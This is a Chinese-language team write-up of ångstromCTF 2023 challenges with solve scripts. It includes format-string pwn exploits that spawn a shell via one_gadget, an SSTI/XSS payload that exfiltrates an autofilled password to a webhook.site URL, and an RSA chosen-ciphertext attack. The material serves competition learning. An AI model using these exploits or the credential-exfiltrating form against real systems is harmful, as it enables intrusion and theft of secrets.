在本次2023年的ångstromCTF国际赛上，星盟安全团队的Polaris战队和Chamd5的Vemon战队联合参赛，合力组成VP-Union联合战队，勇夺第56名的成绩。
MISC
sanity check
加入社区即可查看
Simon Says
按其所说，将第一个字母的前三位和第二个字母的后三位组合发送
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *
from hashlib import sha256
import sys
from pwnlib.util.iters import mbruteforce
import stringdef s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('challs.actf.co', 31402)
elf = ELF('./pwn')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
for i in range(0x100):
rl(b'Combine the first 3 letters of ')
a = p.recv(3)
rl(b'with the last 3 letters of ')
b = rl(b'\n')[:-1][-3:]
sl(a + b)
print(' +++++++++++++++ ', i)
pr()
Admiral Shark
一个流量文件，分析后发现有 PK 字符串，于是丢进 kali 用 binwalk -e 分解
最终在 sharedStrings.xml 找到 flag
survey
问卷题
PWN
slack
三次格式化字符串机会，但是写入字节有限，先利用栈链的方法修改 i 为 负数，就能够无限触发格式化字符串了，继续利用格式化字符串修改 rbp -> rbp , ret -> one_gadget ，最后把 i 的值修改会正数并退出循环，这样 one_gadget 就能够成功触发 get shell
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *
from hashlib import sha256
import sys
from pwnlib.util.iters import mbruteforce
import stringdef s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('challs.actf.co', 31500)
elf = ELF('./pwn')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# leak stack
sla(b'Professional): ', b'%25$p')
rl(b'0x')
stack = int(p.recv(12), 16)
i = stack - 0x180
ret = stack - 0x110
rbp = ret - 0x8
# set i -> 0
sa(b'Professional): ', (b'%' + str((i + 3)&0xffff).encode() + b'c%25$hn').ljust(0xd,b'a'))
sla(b'Professional): ', b'%255c%55$hhn')
# leak libc_base and pro_base
sla(b'Professional): ', b'%9$p\x00')
rl(b'0x')
libc_base = int(p.recv(12), 16) - 0x2206a0
#gdb.attach(p, 'b *$rebase(0x145b)')
# set rbp -> rbp
sla(b'Professional): ', b'%' + str(rbp&0xff).encode() + b'c%25$hhn')
sla(b'Professional): ', b'%' + str(rbp & 0xff).encode() + b'c%55$hhn')
sla(b'Professional): ', b'%' + str((rbp + 1)&0xff).encode() + b'c%25$hhn')
sla(b'Professional): ', b'%' + str((rbp >> 8) & 0xff).encode() + b'c%55$hhn')
sla(b'Professional): ', b'%' + str((rbp + 2)&0xff).encode() + b'c%25$hhn')
sla(b'Professional): ', b'%' + str((rbp >> 16) & 0xff).encode() + b'c%55$hhn')
sla(b'Professional): ', b'%' + str((rbp + 3)&0xff).encode() + b'c%25$hhn')
sla(b'Professional): ', b'%' + str((rbp >> 24) & 0xff).encode() + b'c%55$hhn')
sla(b'Professional): ', b'%' + str((rbp + 4)&0xff).encode() + b'c%25$hhn')
sla(b'Professional): ', b'%' + str((rbp >> 32) & 0xff).encode() + b'c%55$hhn')
sla(b'Professional): ', b'%' + str((rbp + 5)&0xff).encode() + b'c%25$hhn')
sla(b'Professional): ', b'%' + str((rbp >> 40) & 0xff).encode() + b'c%55$hhn')
# set ret -> one_gadget
one_gadget = libc_base + 0xebcf1
sla(b'Professional): ', b'%' + str(ret&0xff).encode() + b'c%25$hhn')
sla(b'Professional): ', b'%' + str(one_gadget & 0xff).encode() + b'c%55$hhn')
sla(b'Professional): ', b'%' + str((ret + 1)&0xff).encode() + b'c%25$hhn')
sla(b'Professional): ', b'%' + str((one_gadget >> 8) & 0xff).encode() + b'c%55$hhn')
sla(b'Professional): ', b'%' + str((ret + 2)&0xff).encode() + b'c%25$hhn')
sla(b'Professional): ', b'%' + str((one_gadget >> 16) & 0xff).encode() + b'c%55$hhn')
# set i
sa(b'Professional): ', (b'%' + str((i + 3)&0xff).encode() + b'c%25$hhn').ljust(0xd,b'a'))
sla(b'Professional): ', b'%55$hhn')
inter()
#pause()
noleek
两个格式化字符串触发机会，并且数据写入了 /dev/null ，这样的话就可以利用 %*i$c 的方式来修改栈上的值。
恰好有个 one_gadget 适用，于是先利用第一次格式化字符串修改栈链执行 ret，第二次修改 ret 为 one_gadget
不足的是本方法成功概率低，需多次运行 exp
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *
from hashlib import sha256
import sys
from pwnlib.util.iters import mbruteforce
import stringdef s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('challs.actf.co', 31400)
elf = ELF('./pwn')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#gdb.attach(p, 'b *$rebase(0x1262)')
sla(b'leek? ', b'%*1$c%56c%13$n')
sla(b'leek? ', b'%*12$c%' + str(0xa5916).encode() + b'c%42$n')
inter()
RE
checkers
ida直接打开
actf{ive_be3n_checkm4ted_21d1b2cebabf983f}
zaza
a = 'anextremelycomplicatedkeythatisdefinitelyuselessss'
b = [0x32, 0x26, 0x20, 0x3D, 0x24, 0x21, 0x2D, 0x28, 0x20, 0x3C, 0x2A, 0x2B, 0x2A, 0x28, 0x20, 0x3F, 0x21, 0x26, 0x24, 0x24, 0x36, 0x2C, 0x2E, 0x20, 0x29, 0x27, 0x20, 0x24, 0x31, 0x39, 0x20, 0x2C, 0x20, 0x23, 0x39, 0x3D, 0x21, 0x31, 0x20, 0x3C, 0x2A, 0x3D, 0x36, 0x20, 0x3C, 0x36, 0x3B, 0x36, 0x36, 0x23, 0x00]result = ""
for i in range(len(a)):
result += chr(ord(a[i]) ^b[i])
print(result)
Bananas
github查一下找到对应反编译插件
Module: Elixir.BananasAttributes: [{vsn, [30426469076575DB017A805FDFD2503F]}]
Compilation Info: [{version, 8.2.3}, {options, [no_spawn_compiler_process, from_core, no_core_prepare, no_auto_import]}, {source, /Users/alexahunleth/experiments/cybersec_challs/bananas/lib/bananas.ex}]
//Function Elixir.Bananas:__info__/1
label01: func_info Elixir.Bananas __info__ 1
label02: select_val X[0] label09 [attributes, label08, compile, label08, deprecated, label07, exports_md5, label06, functions, label05, macros, label07, md5, label08, module, label04, struct, label03]
label03: move nil X[0]
return
label04: move Elixir.Bananas X[0]
return
label05: move [{main, 0}, {main, 1}] X[0]
return
label06: move T�}��|�6���� X[0]
return
label07: move nil X[0]
return
label08: move X[0] X[1]
move Elixir.Bananas X[0]
call_ext_only 2 erlang:get_module_info/2
label09: call_only 1 label30
//Function Elixir.Bananas:check/1
label10: func_info Elixir.Bananas check 1 //line lib/bananas.ex, 17
label11: is_nonempty_list label12 X[0]
get_list X[0] X[1] X[0]
is_eq_exact label12 X[0] [bananas]
gc_bif2 label00 2 erlang:+/2 X[1] 5 X[0] //line lib/bananas.ex, 18
gc_bif2 label00 1 erlang:*/2 . X[0] 1
bs_put_utf8 X[0] label79 X[5]
move . X[0]
test_heap 971 X[0]
return
label12: move false X[0]
return
//Function Elixir.Bananas:convert_input/1
label13: func_info Elixir.Bananas convert_input 1 //line lib/bananas.ex, 10
label14: allocate 0 1
call_ext 1 Elixir.String:trim/1 //line lib/bananas.ex, 12
call_ext 1 Elixir.String:split/1 //line lib/bananas.ex, 13
call_last 1 label23 0
//Function Elixir.Bananas:main/0
label15: func_info Elixir.Bananas main 0 //line lib/bananas.ex, 3
label16: move nil X[0]
call_only 1 label18
//Function Elixir.Bananas:main/1
label17: func_info Elixir.Bananas main 1 //line lib/bananas.ex, 3
label18: allocate 0 0
move How many bananas do I have?
X[0]
call_ext 1 Elixir.IO:gets/1 //line lib/bananas.ex, 4
call 1 label14 //line lib/bananas.ex, 5
call 1 label11 //line lib/bananas.ex, 6
call_last 1 label20 0
//Function Elixir.Bananas:print_flag/1
label19: func_info Elixir.Bananas print_flag 1 //line lib/bananas.ex, 25
label20: is_eq_exact label21 X[0] true
allocate 0 0
move flag.txt X[0]
call_ext 1 Elixir.File:read!/1 //line lib/bananas.ex, 30
call_ext_last 1 Elixir.IO:puts/1 0 //line lib/bananas.ex, 31
label21: move Nope X[0]
call_ext_only 1 Elixir.IO:puts/1 //line lib/bananas.ex, 26
//Function Elixir.Bananas:to_integer/1
label22: func_info Elixir.Bananas to_integer 1 //line lib/bananas.ex, 34
label23: is_nonempty_list label24 X[0]
get_list X[0] X[1] X[2]
is_nonempty_list label24 X[2]
get_tl X[2] X[3]
is_nil label24 X[3]
allocate 1 3
move X[2] Y[0]
move X[1] X[0]
call_ext 1 erlang:binary_to_integer/1 //line lib/bananas.ex, 35
test_heap 2 1
put_list X[0] Y[0] X[0]
deallocate 1
return
label24: return
//Function Elixir.Bananas:module_info/0
label25: func_info Elixir.Bananas module_info 0
label26: move Elixir.Bananas X[0]
call_ext_only 1 erlang:get_module_info/1
//Function Elixir.Bananas:module_info/1
label27: func_info Elixir.Bananas module_info 1
label28: move X[0] X[1]
move Elixir.Bananas X[0]
call_ext_only 2 erlang:get_module_info/2
//Function Elixir.Bananas:-inlined-__info__/1-/1
label29: func_info Elixir.Bananas -inlined-__info__/1- 1
label30: jump label29
int_code_end
#gpt翻译一下，写个爆破脚本就行
# -*- coding:UTF-8 -*-
from pwn import *
import time# 连接远程主机
num=0
# 循环发送输入并接收输出
while True:
# 接收并打印服务器发送的输入提示信息
r = remote('challs.actf.co', 31403)
# 构造输入
result0 = r.recvline().decode().strip()
bananas = str(num)+" bananas"
bananas += "\n"
# 发送输入
r.send(bananas.encode())
time.sleep(2)
# 接收输出并判断是否为"Nope"
result = r.recvline().decode().strip()
print(result)
print(num)
if result == "Nope":
num += 1
else:
print(result)
break
r.close()
# 关闭连接
WEB
catch me if you can
directory
写脚本一个一个目录访问
Celeste Tunneling Association
改一下host值为flag.local
hallmark
svg xss
svg文件里面可以执行 javascript代码
先post/card svg=heart&content=1
得到一个 idc6db6b8d-ba14-4f83-9550-4338d3cdfbdb
put路由可以编辑svg文件 然后
cards[id].type = type == "image/svg+xml" ? type : "text/plain";
cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;
这里用数组来绕一下
然后让bot去访问 get 生成的idhttps://hallmark.web.actf.co/card?id=c6db6b8d-ba14-4f83-9550-4338d3cdfbdb
brokenlogin
题目给了两个网页和两个源码，分别是
源码分别为
module.exports = {
name: "brokenlogin",
timeout: 7000,
async execute(browser, url) {
if (!/^https:\/\/brokenlogin\.web\.actf\.co\/.*/.test(url)) return; const page = await browser.newPage();
await page.goto(url);
await page.waitForNetworkIdle({
timeout: 5000,
});
await page.waitForSelector("input[name=username]");
await page.$eval(
"input[name=username]",
(el) => (el.value = "admin")
);
await page.waitForSelector("input[name=password]");
await page.$eval(
"input[name=password]",
(el, password) => (el.value = password),
process.env.CHALL_BROKENLOGIN_FLAG
);
await page.click("input[type=submit]");
await new Promise((r) => setTimeout(r, 1000));
await page.close();
},
};
from flask import Flask, make_response, request, escape, render_template_stringapp = Flask(__name__)
fails = 0
indexPage = """
<html>
<head>
<title>Broken Login</title>
</head>
<body>
<p style="color: red; fontSize: '28px';">%s</p>
<p>Number of failed logins: {{ fails }}</p>
<form action="/" method="POST">
<label for="username">Username: </label>
<input id="username" type="text" name="username" /><br /><br /> <label for="password">Password: </label>
<input id="password" type="password" name="password" /><br /><br />
<input type="submit" />
</form>
</body>
</html>
"""
@app.get("/")
def index():
global fails
custom_message = ""
if "message" in request.args:
if len(request.args["message"]) >= 25:
return render_template_string(indexPage, fails=fails)
custom_message = escape(request.args["message"])
return render_template_string(indexPage % custom_message, fails=fails)
@app.post("/")
def login():
global fails
fails += 1
return make_response("wrong username or password", 401)
if __name__ == "__main__":
app.run("0.0.0.0")
先看第一个源代码，主要有用的地方是
意思是有username和password输入框，但是password输入框这里多了一条process.env.CHALL_BROKENLOGIN_FLAG，flag就在其中
这里的意思是通过eval方法来获取名为password的元素，并将它设置为process.env.CHALL_BROKENLOGIN_FLAG
然后再看另一个源代码，这里有一个路由
这里可以传参message，还有两个if，看第二个if，如果传入的message大于等于25，就会return render_template_string(indexPage, fails=fails)，否则就会return render_template_string(indexPage % custom_message, fails=fails)，第二个return可以将我们传参的message包含进去，猜测有ssti，去网页上测试一下
确实可以ssti，但是有限制，message传参的长度不能大于25，绕过这个可以使用以下payload
?message={{request.args.a}}&a=
这样就可以绕过长度限制，试试看能不能使用xss
将输入的当成了字符串，可以使用safe，如以下，可以xss语句判定为安全，而不是转为字符串
这样就成功执行了，因为flag在password，所以需要读取这里的信息，如果username和password什么都不输入，就会自动填入我们想要的信息，所以再构造一个表单 payload如下
https://brokenlogin.web.actf.co/?message={{request.args.a|safe}}&a=<form action="https://webhook.site/14144f4b-81cb-4e28-b9b0-0e067d387836" method="POST">
<label for="username">Username: </label>
<input id="username" type="text" name="username" /><br /><br /> <label for="password">Password: </label>
<input id="password" type="password" name="password" /><br /><br />
<input type="submit" />
</form>
成功构造出一个表单，使用bot将网页发出
于是在webhook接收到flag
shortcircuit
将得到的4块组合起来，仅有两种可能，得到flag
crypto
ranch
题目
import stringf = open("flag.txt").read()
encrypted = ""
shift = int(open("secret_shift.txt").read().strip())
for i in f:
if i in string.ascii_lowercase:
encrypted += chr(((ord(i) - 97 + shift) % 26)+97)
else:
encrypted += i
print(encrypted)
题解
import string
c = "rtkw{cf0bj_czbv_nv'cc_y4mv_kf_kip_re0kyvi_uivjj1ex_5vw89s3r44901831}"for shift in range(26):
plain = ''
for i in c:
if i in string.ascii_lowercase:
plain += chr(((ord(i) - 97 - shift) % 26)+97)
else:
plain += i
print(plain)
# actf{lo0ks_like_we'll_h4ve_to_try_an0ther_dress1ng_5ef89b3a44901831}
Royal Society of Arts
题目
from Crypto.Util.number import getStrongPrime, bytes_to_long
f = open("flag.txt").read()
m = bytes_to_long(f.encode())
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 65537
c = pow(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)
print("(p-2)*(q-1) =", (p-2)*(q-1))
print("(p-1)*(q-2) =", (p-1)*(q-2))
"""
n = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230158509195522123739130077725744091649212709410268449632822394998403777113982287135909401792915941770405800840172214125677106752311001755849804716850482011237
e = 65537
c = 40544832072726879770661606103417010618988078158535064967318135325645800905492733782556836821807067038917156891878646364780739241157067824416245546374568847937204678288252116089080688173934638564031950544806463980467254757125934359394683198190255474629179266277601987023393543376811412693043039558487983367289
(p-2)*(q-1) = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230125943565148141498300205893475242956903188936949934637477735897301870046234768439825644866543391610507164360506843171701976641285249754264159339017466738250
(p-1)*(q-2) = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230123577760657520479879758538312798938234126141096433998438004751495264208294710150161381066757910797946636886901614307738041629014360829994204066455759806614
"""
题解
import gmpy2
from Crypto.Util.number import *n = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230158509195522123739130077725744091649212709410268449632822394998403777113982287135909401792915941770405800840172214125677106752311001755849804716850482011237
e = 65537
c = 40544832072726879770661606103417010618988078158535064967318135325645800905492733782556836821807067038917156891878646364780739241157067824416245546374568847937204678288252116089080688173934638564031950544806463980467254757125934359394683198190255474629179266277601987023393543376811412693043039558487983367289
# (p-2)*(q-1)
A = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230125943565148141498300205893475242956903188936949934637477735897301870046234768439825644866543391610507164360506843171701976641285249754264159339017466738250
# (p-1)*(q-2)
B = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230123577760657520479879758538312798938234126141096433998438004751495264208294710150161381066757910797946636886901614307738041629014360829994204066455759806614
# from z3 import *
# S = Solver()
# p = Int('p')
# q = Int('q')
# S.add(p*q==n)
# S.add((p-2)*(q-1)==A)
# if S.check():
# print(S.model())
q = 10066608627787074136474825702134891213485892488338118768309318431767076602486802139831042195689782446036335353380696670398366251621025771896701757102780451
p = 12432413118408092556922180864578909882548688341838757808040464238372914542545091804094841981170595006563808958609560634333378522509950041851974318809712087
m = pow(c,gmpy2.invert(e, (p-1)*(q-1)), n)
print(long_to_bytes(int(m)))
# actf{tw0_equ4ti0ns_in_tw0_unkn0wns_d62507431b7e7087}
Royal Society of Arts 2
题目
from Crypto.Util.number import getStrongPrime, bytes_to_long, long_to_bytes
f = open("flag.txt").read()
m = bytes_to_long(f.encode())
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 65537
c = pow(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)d = pow(e, -1, (p-1)*(q-1))
c = int(input("Text to decrypt: "))
if c == m or b"actf{" in long_to_bytes(pow(c, d, n)):
print("No flag for you!")
exit(1)
print("m =", pow(c, d, n))
题解
选择密文攻击
from pwn import *
from Crypto.Util.number import *
sh = remote('challs.actf.co',32400)
exec(sh.recvline().decode())
exec(sh.recvline().decode())
exec(sh.recvline().decode())
X = getPrime(5)
Y = (c * (X ** e)) % n
sh.sendlineafter(b'Text to decrypt: ', str(Y).encode())
exec(sh.recvline().decode())
Z = m
i = 0
while True:
M = (n * i + Z) // X
if b'actf' in long_to_bytes(M):
print(long_to_bytes(M)) # actf{rs4_is_sorta_homom0rphic_50c8d344df58322b}
break
impossible
一开始题目没上附件，python要求输入整数x、y，满足x<y, x>y，没思路。
#!/usr/local/bin/pythondef fake_psi(a, b):
return [i for i in a if i in b]
def zero_encoding(x, n):
ret = []
for i in range(n):
if (x & 1) == 0:
ret.append(x | 1)
x >>= 1
return ret
def one_encoding(x, n):
ret = []
for i in range(n):
if x & 1:
ret.append(x)
x >>= 1
return ret
print("Supply positive x and y such that x < y and x > y.")
x = int(input("x: "))
y = int(input("y: "))
if len(fake_psi(one_encoding(x, 64), zero_encoding(y, 64))) == 0 and x > y and x > 0 and y > 0:
print(open("flag.txt").read())
题解
后面上了附件，则易得
from pwn import *
sh =remote('challs.actf.co', 32200)
sh.sendlineafter(b'x:', str(int('1'*65, 2)).encode())
sh.sendlineafter(b'y:', str(int('1'*64, 2)).encode())
sh.interactive()
# actf{se3ms_pretty_p0ssible_t0_m3_7623fb7e33577b8a}
Lazy Lagrange
题目
#!/usr/local/bin/python
import randomwith open('flag.txt', 'r') as f:
FLAG = f.read()
assert all(c.isascii() and c.isprintable() for c in FLAG), 'Malformed flag'
N = len(FLAG)
assert N <= 18, 'I\'m too lazy to store a flag that long.'
p = None
a = None
M = (1 << 127) - 1
def query1(s):
if len(s) > 100:
return 'I\'m too lazy to read a query that long.'
x = s.split()
if len(x) > 10:
return 'I\'m too lazy to process that many inputs.'
if any(not x_i.isdecimal() for x_i in x):
return 'I\'m too lazy to decipher strange inputs.'
x = (int(x_i) for x_i in x)
global p, a
p = random.sample(range(N), k=N)
a = [ord(FLAG[p[i]]) for i in range(N)]
res = ''
for x_i in x:
res += f'{sum(a[j] * x_i ** j for j in range(N)) % M}\n'
return res
query1('0')
def query2(s):
if len(s) > 100:
return 'I\'m too lazy to read a query that long.'
x = s.split()
if any(not x_i.isdecimal() for x_i in x):
return 'I\'m too lazy to decipher strange inputs.'
x = [int(x_i) for x_i in x]
while len(x) < N:
x.append(0)
z = 1
for i in range(N):
z *= not x[i] - a[i]
return ' '.join(str(p_i * z) for p_i in p)
while True:
try:
choice = int(input(": "))
assert 1 <= choice <= 2
match choice:
case 1:
print(query1(input("\t> ")))
case 2:
print(query2(input("\t> ")))
except Exception as e:
print("Bad input, exiting", e)
break
题解
利用query1，发送比字符最大ascii码值大的底数，就可以利用整除求出列表a
再利用query2， 把正确的a列表发过去就能得到其正确排序列表，即可恢复flag
import random
from pwn import *
# context.log_level = 'debug'sh = remote('challs.actf.co', 32100)
sh.sendlineafter(b':', b'1')
t = 127
sh.sendlineafter(b'>', str(t).encode())
num1 = int(sh.recvline().decode())
print(num1)
for N in range(18, 9, -1):
a = []
tmp_num1 = num1
tmp_N = N
while tmp_N >= 0 and tmp_num1 > 0: # 0不能忽略，故为大于等于
tmp = tmp_num1 // pow(t, tmp_N)
a.append(tmp)
tmp_num1 -= tmp * pow(t, tmp_N)
tmp_N -= 1
if max(a) > 126:
continue
if all(chr(c).isascii() and chr(c).isprintable() for c in a):
print('N =', N+1)
a = a[::-1] # 记得倒序
print('a =', bytes(a), a, sum(a), len(a), set(a))
sh.sendlineafter(b':', b'2')
ans = ' '.join([str(i) for i in a])
print(ans)
sh.sendlineafter(b'>', ans.encode())
Index = sh.recvline().decode().split()
flag = ''
print(Index)
for i in range(N+1):
flag += chr(a[Index.index(str(i))])
print(flag) # actf{f80f6086a77b}
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